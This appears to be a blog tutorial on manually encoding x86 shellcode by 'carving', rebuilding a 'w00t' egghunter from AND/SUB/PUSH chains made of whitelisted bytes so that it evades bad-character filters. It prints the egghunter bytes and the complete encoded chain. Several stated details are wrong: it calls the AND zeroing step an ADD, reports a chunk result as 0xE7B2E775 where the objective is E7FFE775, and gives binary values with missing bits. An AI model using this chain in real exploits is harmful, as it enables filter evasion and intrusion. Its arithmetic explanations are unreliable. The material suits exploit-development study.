Manually Encode Bytes & Shellcode Carving
When exploit developers write exploits, they come across restrictive character sets that limit the characters they can use in their shellcode. For this reason, tools like the MSFvenom exist. MSFvenom helps exploit developers obfuscate shellcodes and mitigate restrictive character sets using different encoders. This post aims to go over the methodology of encoding shellcode manually to understand how it really works. By the end of this post, you should be able to encode any shellcode. The methodology I explain in this blog post is called Shellcode carving. Shellcode carving is the act of manipulating registers to create shellcodes using mathematical operations to bypass character restrictions.
To have a better idea of how the decoder functions in an exploit, the next steps represent how it performs its encoding functionality:
- Change the ESP location
- Zero out one register to use later.
- Move the ESP value to a different register
- Modify the value of the register that has the ESP value
- Move back the value of the modified register to ESP
- Create the chain that creates the real shellcode
- Zero out a register and then use mathematical operations to create a chunk of 4 bytes from the real shellcode.
This post will focus on the technique and how to make a decoder like the one described above. To do that, let’s follow the next steps:
- Select a shellcode.
- Split the selected shellcode into chunks of 4 bytes.
- Reverse the shellcode order
- Starting from the chunks at the top of the reversed shellcode, write instructions that recreate them all.
Select a shellcode
Since we are not exploiting a specific executable, we can select anything. Imagine that the next shellcode is what we want to execute:
0: 66 81 ca ff 0f or dx,0xfff 5: 42 inc edx 6: 52 push edx 7: 6a 02 push 0x2 9: 58 pop eax a: cd 2e int 0x2e c: 3c 05 cmp al,0x5 e: 5a pop edx f: 74 ef je 0x0 11: b8 77 30 30 74 mov eax,0x74303077 16: 8b fa mov edi,edx 18: af scas eax,DWORD PTR es:[edi] 19: 75 ea jne 0x5 1b: af scas eax,DWORD PTR es:[edi] 1c: 75 e7 jne 0x5 1e: ff e7 jmp edi
The above shellcode is a full egghunter that hunts for “w00t”. The objective is to write shellcode with restricted characters using the shellcode carving method.
Split the selected shellcode into chunks of 4 bytes.
Let’s first start by dividing the shellcode into chunks of 32 bits. We will have eight chunks, as shown below:
\x66\x81\xCA\xFF \x0F\x42\x52\x6A \x02\x58\xCD\x2E \x3C\x05\x5A\x74 \xEF\xB8\x77\x30 \x30\x74\x8B\xFA \xAF\x75\xEA\xAF \x75\xE7\xFF\xE7
If they cannot be divided equally, pad the start or the end with NOPs.
Reverse the shellcode order
The reason behind reversing it is that every time we craft, a chunk will need to go into the stack in a specific order. Since Stacks follow LIFO, we have to push the chunks starting from the last. 
\x75\xE7\xFF\xE7 - #1 which is E7FFE775 \xAF\x75\xEA\xAF - #2 which is AFEA75AF \x30\x74\x8B\xFA - #3 which is FA8B7430 \xEF\xB8\x77\x30 - #4 which is 3077B8EF \x3C\x05\x5A\x74 - #5 which is 745A053C \x02\x58\xCD\x2E - #6 which is 2ECD5802 \x0F\x42\x52\x6A - #7 which is 6A52420F \x66\x81\xCA\xFF - #8 which is FFCA8166
Develop the encoder chain
\x75\xE7\xFF\xE7, we need to find the right mathematical calculation to recreate
First, we start by having a zero value. There is a number of ways to zero out a register. In this example, we will use the
Add instruction. The
Add instruction “adds the first operand (destination operand) and the second operand (source operand) and stores the result in the destination operand”  . Let’s represent this in base 2. If the objective is:
0000000000000000000000000000000 = Objective We can have Something like: 0000000000000000111111111111111 = Destination 1111111111111111000000000000000 = Source
But the condition that makes the above calculation cannot be used in our PoC since it uses bad characters like
0x00 because this base 2 string
00007FFF in base 16.
We need to make sure that every byte in the first and second operand doesn’t have any bad characters.
Let’s say that the only allowed characters are the next: 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 , 0x39, 0x3b, 0x3c, 0x3d, 0x3e, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c , 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d , 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e , 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f.
Then, an example of allowed values can be:
0x4E4E4E4E = 1001110010011100100111001001110 = Destination 0x31313131 = 0110001001100010011000100110001 = Source The result: 0x00000000 = 0000000000000000000000000000000 = Objective
After zeroing out a register, we now need to do the same process to recreate
E7FFE775. We will use the SUB instruction. The SUB instruction “subtracts the second operand (source operand) from the first operand (destination operand) and stores the result in the destination operand”  . Following the process from above:
\x75\xE7\xFF\xE7 = 1110101111001111111111101111110 = Objective
What characters that are from the allowed set above that can be subtracted from each other to give the
0x05020601 = 00000101000000100000011000000001 0x097F0931 = 00001001011111110000100100110001 = 11110001011111101111000011001110 = 0xF17EF0CE 0xF17EF0CE = 11110001011111101111000011001110 0x097F0959 = 00001001011111110000100101011001 The final result = 11100111101100101110011101110101 = 0xE7B2E775
That means we can use
0x097F0959 to recreate the first chunk. Let’s convert the
SUB calculations from above to x84 instructions:
0: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 5: 25 31 31 31 31 and eax,0x31313131 a: 2d 01 06 02 05 sub eax,0x05020601 f: 2d 31 09 7f 09 sub eax,0x097f0931 14: 2d 59 09 7f 09 sub eax,0x097f0959
To test this, let’s start a debugger and paste the instructions.
Stepping over the first two instructions changes EAX to 0, as shown below:
Stepping over the next first two instructions changes EAX to 0xF17EF0CE as calculated; the below screenshot shows that:
Stepping over the last instruction changes EAX to 0xE7B2E775, which is our objective.
This way, we were able to craft the first chunk from our shellcode,
E7FFE775. At the end of every chunk, we need to add the result to the stack so we can build up the selected shellcode.
0: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 5: 25 31 31 31 31 and eax,0x31313131 a: 2d 01 06 02 05 sub eax,0x5020601 f: 2d 31 09 7f 09 sub eax,0x97f0931 14: 2d 59 09 7f 09 sub eax,0x97f0959 19: 50 push eax \xAF\x75\xEA\xAF - #2 which is AFEA75AF \x30\x74\x8B\xFA - #3 which is FA8B7430 \xEF\xB8\x77\x30 - #4 which is 3077B8EF \x3C\x05\x5A\x74 - #5 which is 745A053C \x02\x58\xCD\x2E - #6 which is 2ECD5802 \x0F\x42\x52\x6A - #7 which is 6A52420F \x66\x81\xCA\xFF - #8 which is FFCA8166
Now, we need to repeat the same process with all the other chunks and then merge them together. The below instructions are the merge of all the chunks together.
0: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 5: 25 31 31 31 31 and eax,0x31313131 a: 2d 01 06 02 05 sub eax,0x5020601 f: 2d 31 09 7f 09 sub eax,0x97f0931 14: 2d 59 09 7f 09 sub eax,0x97f0959 19: 50 push eax 1a: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 1f: 25 31 31 31 31 and eax,0x31313131 24: 2d 01 01 03 01 sub eax,0x1030101 29: 2d 01 31 09 01 sub eax,0x1093101 2e: 2d 4f 58 09 4e sub eax,0x4e09584f 33: 50 push eax 34: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 39: 25 31 31 31 31 and eax,0x31313131 3e: 2d 01 01 01 01 sub eax,0x1010101 43: 2d 50 31 01 01 sub eax,0x1013150 48: 2d 7f 59 72 03 sub eax,0x372597f 4d: 50 push eax 4e: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 53: 25 31 31 31 31 and eax,0x31313131 58: 2d 01 01 01 01 sub eax,0x1010101 5d: 2d 07 01 08 4f sub eax,0x4f080107 62: 2d 09 45 7f 7f sub eax,0x7f7f4509 67: 50 push eax 68: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 6d: 25 31 31 31 31 and eax,0x31313131 72: 2d 01 01 01 01 sub eax,0x1010101 77: 2d 44 7a 31 31 sub eax,0x31317a44 7c: 2d 7f 7f 73 59 sub eax,0x59737f7f 81: 50 push eax 82: 25 4e 4e 4e 4e and eax,0x4e4e4e4e 87: 25 31 31 31 31 and eax,0x31313131 8c: 2d 01 01 34 01 sub eax,0x1340101 91: 2d 7e 31 7f 50 sub eax,0x507f317e 96: 2d 7f 75 7f 7f sub eax,0x7f7f757f 9b: 50 push eax 9c: 25 4e 4e 4e 4e and eax,0x4e4e4e4e a1: 25 31 31 31 31 and eax,0x31313131 a6: 2d 01 01 01 01 sub eax,0x1010101 ab: 2d 71 3d 31 31 sub eax,0x31313d71 b0: 2d 7f 7f 7b 63 sub eax,0x637b7f7f b5: 50 push eax b6: 25 4e 4e 4e 4e and eax,0x4e4e4e4e bb: 25 31 31 31 31 and eax,0x31313131 c0: 2d 01 01 01 02 sub eax,0x2010101 c5: 2d 31 01 01 7f sub eax,0x7f010131 ca: 2d 68 7c 33 7f sub eax,0x7f337c68 cf: 50 push eax
With this strategy, we have a chain that creates an egghunter. To test the chain, open a debugger and paste the instructions. At the end of the chain, set a breakpoint so you can check the result pushed to the stack.
As calculated, the stack shows the egghunter.
0060FF54 66 81 CA FF 0F 42 52 6A 02 58 CD 2E 3C 05 5A 74 f.Êÿ.BRj.XÍ.<.Zt 0060FF64 EF B8 77 30 30 74 8B FA AF 75 EA AF 75 E7 FF E7 ï¸w00t.ú¯uê¯uçÿç